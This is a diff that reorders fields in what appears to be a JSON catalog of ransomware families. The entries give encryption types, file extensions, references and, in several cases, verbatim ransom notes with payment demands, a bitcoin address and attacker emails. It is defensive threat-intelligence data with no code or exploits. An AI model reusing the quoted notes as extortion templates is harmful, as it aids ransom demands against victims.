+ "date": "February 2017",
+ "encryption": "AES",
"ransomnotes": [
"https://4.bp.blogspot.com/-M2CMU8RPgqw/WLfqOCgNXrI/AAAAAAAAEGA/W-uAf30qQgoZxqRwblUcSKzYrM5QmcLfgCLcB/s1600/note-html_2.png",
"How decrypt files.hta"
],
- "encryption": "AES",
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. ",
- "value": "CryptConsole 2.0 Ransomware",
- "uuid": "7343da8f-fe18-46c9-8cda-5b04fb48e97d"
+ "uuid": "7343da8f-fe18-46c9-8cda-5b04fb48e97d",
+ "value": "CryptConsole 2.0 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
"meta": {
- "synonyms": [
- "BarRaxCrypt Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html",
- "https://twitter.com/demonslay335/status/835668540367777792"
- ],
+ "date": "February 2017",
"encryption": "AES",
"extensions": [
".barRex",
".BarRax"
],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html",
+ "https://twitter.com/demonslay335/status/835668540367777792"
+ ],
+ "synonyms": [
+ "BarRaxCrypt Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
- "value": "BarRax Ransomware",
- "uuid": "c0ee166e-273f-4940-859c-ba6f8666247c"
+ "uuid": "c0ee166e-273f-4940-859c-ba6f8666247c",
+ "value": "BarRax Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html"
- ],
+ "date": "February 2017",
+ "encryption": "AES",
"ransomnotes": [
"https://2.bp.blogspot.com/-hvTBarxSO8Y/WKs5kjdpgDI/AAAAAAAAD9Q/m3louiSE6xY0BcGjnWvg_NNDU6K1ok3ggCLcB/s1600/lock.jpg"
],
- "encryption": "AES",
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CryptoLocker by NTK Ransomware",
- "uuid": "51bcbbc6-d8e0-4d2b-b5ce-79f26d669567"
+ "uuid": "51bcbbc6-d8e0-4d2b-b5ce-79f26d669567",
+ "value": "CryptoLocker by NTK Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "CzechoSlovak Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html"
+ "date": "February 2017",
+ "encryption": "AES-256+RSA",
+ "extensions": [
+ ".ENCR"
],
"ransomnotes": [
"All of your personal information, unfortunately for you, were encrypted\nStep 1 - PAYMENT\nStep 2 - Tell us\nStep 3 - Data Recovery\nYour data and files were encrypted, unfortunately, you need our key. For the encryption each key is unique AES-256 is created on the computer. At the moment, all the files are already encrypted and the keys securely stored in an encrypted form with RSA-2048. \nOnly one way you can recover your files - make payment in Bitcoins and get our key for decryption. Do not believe in any fairy tales on the Internet, it can be circumvented if it was easy, a lot of things in the world stopped working. \nPay according to the instructions, click through the tabs, and wait for your keys. We value the market professional customer service and reputation, so will try to unlock your files as soon as possible.\nPayment Amount: 0,8 BTC\nPayment Amount: 2.1 BTC (another option)",
"https://3.bp.blogspot.com/-0D8XdlTNIsA/WLXFiBWz5II/AAAAAAAAEFQ/Hojw0BHHysUieiCnidoVwTrqXVCckLkSQCLcB/s1600/lock-screen.jpg"
],
- "encryption": "AES-256+RSA",
- "extensions": [
- ".ENCR"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html"
],
- "date": "February 2017"
+ "synonyms": [
+ "CzechoSlovak Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "UserFilesLocker Ransomware",
- "uuid": "c9e29151-7eda-4192-9c34-f9a81b2ef743"
+ "uuid": "c9e29151-7eda-4192-9c34-f9a81b2ef743",
+ "value": "UserFilesLocker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017_03_01_archive.html",
- "https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html"
- ],
+ "date": "February 2017",
"encryption": "AES-256+RSA",
"extensions": [
".A9v9Ahu4-000"
],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017_03_01_archive.html",
+ "https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!",
- "value": "AvastVirusinfo Ransomware",
- "uuid": "78649172-cf5b-4e8a-950b-a967ff700acf"
+ "uuid": "78649172-cf5b-4e8a-950b-a967ff700acf",
+ "value": "AvastVirusinfo Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html"
- ],
+ "date": "February 2017",
+ "encryption": "AES",
"ransomnotes": [
"https://2.bp.blogspot.com/-OCBIabrrZNg/WLm1RGFVKEI/AAAAAAAAEHY/1MASb-0Y7jsBlE2TzyqgknrfDhuEsNx2gCLcB/s1600/Screenshot_1.png"
],
- "encryption": "AES",
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "SuchSecurity Ransomware",
- "uuid": "22481dfd-8284-4071-a76f-c9a4a5f43f00"
+ "uuid": "22481dfd-8284-4071-a76f-c9a4a5f43f00",
+ "value": "SuchSecurity Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "VHDLocker Ransomware"
+ "date": "February 2017",
+ "encryption": "AES-256",
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-viZiAZr3_ns/WKrIDWEEBXI/AAAAAAAAD8c/8n1RJ9m2Odoe3bvMMmIm421NdxS-OIRzQCLcB/s1600/note_2.png"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-viZiAZr3_ns/WKrIDWEEBXI/AAAAAAAAD8c/8n1RJ9m2Odoe3bvMMmIm421NdxS-OIRzQCLcB/s1600/note_2.png"
- ],
- "encryption": "AES-256",
- "date": "February 2017"
+ "synonyms": [
+ "VHDLocker Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "PleaseRead Ransomware",
- "uuid": "9de7a1f2-cc21-40cf-b44e-c67f0262fbce"
+ "uuid": "9de7a1f2-cc21-40cf-b44e-c67f0262fbce",
+ "value": "PleaseRead Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html",
- "https://twitter.com/MarceloRivero/status/832302976744173570",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/"
+ "date": "February 2017",
+ "extensions": [
+ "[KASISKI]"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-ehXlWPLxtR8/WKdHF_Y-MeI/AAAAAAAAD5A/KKXO-S9OtMQAcNM-IOV2ees8qKlAJ3pzACLcB/s1600/note.jpg",
"INSTRUCCIONES.txt"
],
- "extensions": [
- "[KASISKI]"
- ],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html",
+ "https://twitter.com/MarceloRivero/status/832302976744173570",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Kasiski Ransomware",
- "uuid": "59b537dc-3764-42fc-a416-92d2950aaff1"
+ "uuid": "59b537dc-3764-42fc-a416-92d2950aaff1",
+ "value": "Kasiski Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Locky Impersonator Ransomware"
+ "date": "February 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".locked"
+ ],
+ "ransomnotes": [
+ "Files has been encrypted with Locky Ransomware, Do not alter your files or you will not be able to recover anything nobody will be able to recover your data since its set to AES-256 and requires our Key Send me 1.0 bitcoins Send payment to this Address: 13DYdAKb8nfo1AYeGpJXwKZYupyeqYu2QZ For Instructions on how to Purchase & send bitcoin refer to this link : *** for support Email: lockyransomware666@sigaint.net After 48 Hours your ransom doubles to 2.0 BTC After 72 Hours we will delete your recovery keys"
],
"refs": [
"https://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/",
"https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html",
"https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-thor-extension-after-being-a-bad-malware/"
],
- "ransomnotes": [
- "Files has been encrypted with Locky Ransomware, Do not alter your files or you will not be able to recover anything nobody will be able to recover your data since its set to AES-256 and requires our Key Send me 1.0 bitcoins Send payment to this Address: 13DYdAKb8nfo1AYeGpJXwKZYupyeqYu2QZ For Instructions on how to Purchase & send bitcoin refer to this link : *** for support Email: lockyransomware666@sigaint.net After 48 Hours your ransom doubles to 2.0 BTC After 72 Hours we will delete your recovery keys"
- ],
- "encryption": "AES",
- "extensions": [
- ".locked"
- ],
- "date": "February 2017"
+ "synonyms": [
+ "Locky Impersonator Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Fake Locky Ransomware",
- "uuid": "26a34763-a70c-4877-b99f-ae39decd2107"
+ "uuid": "26a34763-a70c-4877-b99f-ae39decd2107",
+ "value": "Fake Locky Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/cryptomix-variant-named-cryptoshield-1-0-ransomware-distributed-by-exploit-kits/"
+ "date": "January 2017",
+ "encryption": "AES(256)/ROT-13",
+ "extensions": [
+ ".CRYPTOSHIELD (The name is first changed using ROT-13, and after a new extension is added.)"
],
"ransomnotes": [
"# RESTORING FILES #.txt",
"# RESTORING FILES #.html",
"https://2.bp.blogspot.com/-A-N9zQgZrhE/WJHAHzuitvI/AAAAAAAADhI/AHkLaL9blZgqQWc-sTevVRTxVRttbugoQCLcB/s1600/note-2.png"
],
- "encryption": "AES(256)/ROT-13",
- "extensions": [
- ".CRYPTOSHIELD (The name is first changed using ROT-13, and after a new extension is added.)"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/cryptomix-variant-named-cryptoshield-1-0-ransomware-distributed-by-exploit-kits/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.",
- "value": "CryptoShield 1.0 Ransomware",
- "uuid": "1f915f16-2e2f-4681-a1e8-e146a0a4fcdf"
+ "uuid": "1f915f16-2e2f-4681-a1e8-e146a0a4fcdf",
+ "value": "CryptoShield 1.0 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: \"HERMES\"",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/",
- "https://www.bleepingcomputer.com/forums/t/642019/hermes-ransomware-help-support-decrypt-informationhtml/",
- "https://www.bleepingcomputer.com/news/security/hermes-ransomware-decrypted-in-live-video-by-emsisofts-fabian-wosar/"
+ "date": "February 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".locked"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-nzY6thZOXSk/WKbYmWxa0rI/AAAAAAAAD3s/t_3d90FGOe8je8rfeeYLF1jzJinG5JMVgCLcB/s1600/note_2_2.png",
@@ -864,145 +869,148 @@
"DECRYPT_INFORMATION.html",
"UNIQUE_ID_DO_NOT_REMOVE"
],
- "encryption": "AES",
- "extensions": [
- ".locked"
- ],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/",
+ "https://www.bleepingcomputer.com/forums/t/642019/hermes-ransomware-help-support-decrypt-informationhtml/",
+ "https://www.bleepingcomputer.com/news/security/hermes-ransomware-decrypted-in-live-video-by-emsisofts-fabian-wosar/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: \"HERMES\"",
- "value": "Hermes Ransomware",
- "uuid": "b7102922-8aad-4b29-8518-6d87c3ba45bb"
+ "uuid": "b7102922-8aad-4b29-8518-6d87c3ba45bb",
+ "value": "Hermes Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-YdCKWLUFBOo/WKRCD2BLzTI/AAAAAAAAD14/BPtYMLvQpEMAbT-ZdiCVPi_LZCrXYJMhwCLcB/s1600/ReadME%2521.txt.jpg"
- ],
+ "date": "February 2017",
"encryption": "AES",
"extensions": [
".hasp"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-YdCKWLUFBOo/WKRCD2BLzTI/AAAAAAAAD14/BPtYMLvQpEMAbT-ZdiCVPi_LZCrXYJMhwCLcB/s1600/ReadME%2521.txt.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "LoveLock Ransomware or Love2Lock Ransomware",
- "uuid": "0785bdda-7cd8-4529-b28e-787367c50298"
+ "uuid": "0785bdda-7cd8-4529-b28e-787367c50298",
+ "value": "LoveLock Ransomware or Love2Lock Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-iUq492KUatk/WKH-GXnO4-I/AAAAAAAADzw/9uwo1LF5ciIvMJ6jAn3mskSqtdiTkxvlACLcB/s1600/lock-note.jpg"
- ],
+ "date": "February 2017",
"encryption": "AES",
"extensions": [
".wcry"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-iUq492KUatk/WKH-GXnO4-I/AAAAAAAADzw/9uwo1LF5ciIvMJ6jAn3mskSqtdiTkxvlACLcB/s1600/lock-note.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Wcry Ransomware",
- "uuid": "0983bdda-c637-4ad9-a56f-615b2b052740"
+ "uuid": "0983bdda-c637-4ad9-a56f-615b2b052740",
+ "value": "Wcry Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html",
- "https://twitter.com/bleepincomputer/status/816053140147597312?lang=en"
- ],
+ "date": "February 2017",
+ "encryption": "AES",
"ransomnotes": [
"https://2.bp.blogspot.com/-_Udncaac_gM/WKROBN00ORI/AAAAAAAAD2U/HsHkEspG85YSfPg-8MbPYYTYmBU4PAJAgCLcB/s1600/note_2.png",
"https://4.bp.blogspot.com/-Vx9ZtCODajg/WKiMr2QX5cI/AAAAAAAAD64/QAh37o_CRIImaxUfIhoEh8qE4JLn5HaNwCLcB/s1600/dumb.jpg"
],
- "encryption": "AES",
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html",
+ "https://twitter.com/bleepincomputer/status/816053140147597312?lang=en"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "DUMB Ransomware",
- "uuid": "27feba66-e9c7-4414-a560-1e5b7da74d08"
+ "uuid": "27feba66-e9c7-4414-a560-1e5b7da74d08",
+ "value": "DUMB Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017_02_01_archive.html",
- "https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html"
- ],
+ "date": "February 2017",
"encryption": "AES",
"extensions": [
".b0C",
".b0C.x"
],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017_02_01_archive.html",
+ "https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "X-Files",
- "uuid": "c24f48ca-060b-4164-aafe-df7b3f43f40e"
+ "uuid": "c24f48ca-060b-4164-aafe-df7b3f43f40e",
+ "value": "X-Files"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-ahpZEI1FHQM/WJd7_dpYlyI/AAAAAAAADm8/4-nFXqc9bjEI93VDJRdsLSlBOwQiaM7swCLcB/s1600/note.jpg"
- ],
+ "date": "February 2017",
"encryption": "AES-256",
"extensions": [
".aes"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-ahpZEI1FHQM/WJd7_dpYlyI/AAAAAAAADm8/4-nFXqc9bjEI93VDJRdsLSlBOwQiaM7swCLcB/s1600/note.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.",
- "value": "Polski Ransomware",
- "uuid": "b50265ac-ee45-4f5a-aca1-fabe3157fc14"
+ "uuid": "b50265ac-ee45-4f5a-aca1-fabe3157fc14",
+ "value": "Polski Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/yourransom-is-the-latest-in-a-long-line-of-prank-and-educational-ransomware/",
- "https://twitter.com/_ddoxer/status/827555507741274113"
+ "date": "February 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".yourransom"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-dFQlF_6uTkI/WJYigC5GwiI/AAAAAAAADlk/jm-ZwqJ2mVYd2gtAQgYW_lOd78u5N2x0ACLcB/s1600/note_2.png",
"README.txt"
],
- "encryption": "AES-256",
- "extensions": [
- ".yourransom"
- ],
- "date": "February 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/yourransom-is-the-latest-in-a-long-line-of-prank-and-educational-ransomware/",
+ "https://twitter.com/_ddoxer/status/827555507741274113"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)",
- "value": "YourRansom Ransomware",
- "uuid": "908b914b-6744-4e16-b014-121cf2106b5f"
+ "uuid": "908b914b-6744-4e16-b014-121cf2106b5f",
+ "value": "YourRansom Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html",
- "https://www.bleepingcomputer.com/news/security/ranion-ransomware-as-a-service-available-on-the-dark-web-for-educational-purposes/"
- ],
+ "date": "February 2016",
+ "encryption": "AES-256",
"ransomnotes": [
"https://3.bp.blogspot.com/-ORiqmM6oWXc/WJV7X4IvTWI/AAAAAAAADlE/wXvz5Hsv1gQ-UrLoA1plVjLTVD7iDDxwQCLcB/s1600/buy_2.png"
],
- "encryption": "AES-256",
- "date": "February 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html",
+ "https://www.bleepingcomputer.com/news/security/ranion-ransomware-as-a-service-available-on-the-dark-web-for-educational-purposes/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service",
- "value": "Ranion RaasRansomware",
- "uuid": "b4de724f-add4-4095-aa5a-e4d039322b59"
+ "uuid": "b4de724f-add4-4095-aa5a-e4d039322b59",
+ "value": "Ranion RaasRansomware"
},
{
+ "description": "Wants a ransom to get the victim’s files back . Originated in English. Spread worldwide.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html"
+ "date": "January 2017",
+ "encryption": "AES-256",
+ "extensions": [
+ ".potato"
],
"ransomnotes": [
"How to recover my files.txt",
@@ -1010,20 +1018,20 @@
"README.html",
"https://2.bp.blogspot.com/-E9GDxEoz95k/WIop79nWZ2I/AAAAAAAADZU/CnsvOl96yesoH07BZ2Q05Fp40kLcTMmqQCLcB/s1600/note.jpg"
],
- "encryption": "AES-256",
- "extensions": [
- ".potato"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html"
+ ]
},
- "description": "Wants a ransom to get the victim’s files back . Originated in English. Spread worldwide.",
- "value": "Potato Ransomware",
- "uuid": "378cb77c-bb89-4d32-bef9-1b132343f3fe"
+ "uuid": "378cb77c-bb89-4d32-bef9-1b132343f3fe",
+ "value": "Potato Ransomware"
},
{
+ "description": "This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html"
+ "date": "December 2016/January 2017",
+ "encryption": "RC4",
+ "extensions": [
+ ".-opentoyou@india.com"
],
"ransomnotes": [
"!!!.txt",
@@ -1032,114 +1040,113 @@
"https://3.bp.blogspot.com/-RPeHrC9Trqk/WGk1kQlBQQI/AAAAAAAAC6o/FutnWrlUf44hq54_xI_6Uz2migCR0rwlwCLcB/s1600/Note-wallp.jpg",
"Your files are encrypted! To decrypt write on email - opentoyou@india.comIdentification key - 5E1C0884"
],
- "encryption": "RC4",
- "extensions": [
- ".-opentoyou@india.com"
- ],
- "date": "December 2016/January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html"
+ ]
},
- "description": "This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.",
- "value": "of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)",
- "uuid": "e290fa29-6fc1-4fb5-ac98-44350e508bc1"
+ "uuid": "e290fa29-6fc1-4fb5-ac98-44350e508bc1",
+ "value": "of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"
},
{
+ "description": "Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.",
"meta": {
- "refs": [
- "http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html",
- "https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html",
- "https://twitter.com/jiriatvirlab/status/825411602535088129"
+ "date": "January 2017",
